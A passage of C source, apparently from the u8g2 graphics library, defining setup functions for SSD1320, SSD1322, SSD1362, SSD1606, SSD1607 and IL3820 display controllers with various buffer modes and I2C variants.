u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 2 */\nvoid u8g2_Setup_ssd1320_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 f */\nvoid u8g2_Setup_ssd1320_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 */\n/* ssd1320 1 */\nvoid u8g2_Setup_ssd1320_160x132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_17_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 2 */\nvoid u8g2_Setup_ssd1320_160x132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_17_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 f */\nvoid u8g2_Setup_ssd1320_160x132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x132, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_17_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 */\n/* ssd1320 1 */\nvoid u8g2_Setup_ssd1320_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 2 */\nvoid u8g2_Setup_ssd1320_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 f */\nvoid u8g2_Setup_ssd1320_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 */\n/* ssd1320 1 */\nvoid u8g2_Setup_ssd1320_i2c_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 2 */\nvoid u8g2_Setup_ssd1320_i2c_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1320 f */\nvoid u8g2_Setup_ssd1320_i2c_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 */\n/* ssd1322 1 */\nvoid u8g2_Setup_ssd1322_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 2 */\nvoid u8g2_Setup_ssd1322_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 f */\nvoid u8g2_Setup_ssd1322_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 */\n/* ssd1322 1 */\nvoid u8g2_Setup_ssd1322_nhd_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 2 */\nvoid u8g2_Setup_ssd1322_nhd_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 f */\nvoid u8g2_Setup_ssd1322_nhd_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 */\n/* ssd1322 1 */\nvoid u8g2_Setup_ssd1322_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 2 */\nvoid u8g2_Setup_ssd1322_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1322 f */\nvoid u8g2_Setup_ssd1322_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 */\n/* ssd1362 1 */\nvoid u8g2_Setup_ssd1362_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 2 */\nvoid u8g2_Setup_ssd1362_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 f */\nvoid u8g2_Setup_ssd1362_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 */\n/* ssd1362 1 */\nvoid u8g2_Setup_ssd1362_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 2 */\nvoid u8g2_Setup_ssd1362_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 f */\nvoid u8g2_Setup_ssd1362_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 */\n/* ssd1362 1 */\nvoid u8g2_Setup_ssd1362_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 2 */\nvoid u8g2_Setup_ssd1362_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 f */\nvoid u8g2_Setup_ssd1362_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 */\n/* ssd1362 1 */\nvoid u8g2_Setup_ssd1362_i2c_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 2 */\nvoid u8g2_Setup_ssd1362_i2c_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1362 f */\nvoid u8g2_Setup_ssd1362_i2c_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_26_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1606 */\n/* ssd1606 1 */\nvoid u8g2_Setup_ssd1606_172x72_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_9_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1606 2 */\nvoid u8g2_Setup_ssd1606_172x72_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_9_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1606 f */\nvoid u8g2_Setup_ssd1606_172x72_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_9_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1607 */\n/* ssd1607 1 */\nvoid u8g2_Setup_ssd1607_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_gd_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_ws_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1607 2 */\nvoid u8g2_Setup_ssd1607_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_gd_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_ws_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1607 f */\nvoid u8g2_Setup_ssd1607_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_gd_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1607_ws_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_25_25_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* il3820 */\n/* il3820 1 */\nvoid u8g2_Setup_il3820_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_il3820_v2_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* il3820 2 */\nvoid u8g2_Setup_il3820_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_il3820_v2_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* il3820 f */\nvoid u8g2_Setup_il3820_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_il3820_v2_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_37_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sed1330 */\n/* sed1330 1 */\nvoid u8g2_Setup_sed1330_240x128_1(u8g2_t *u8g2, const 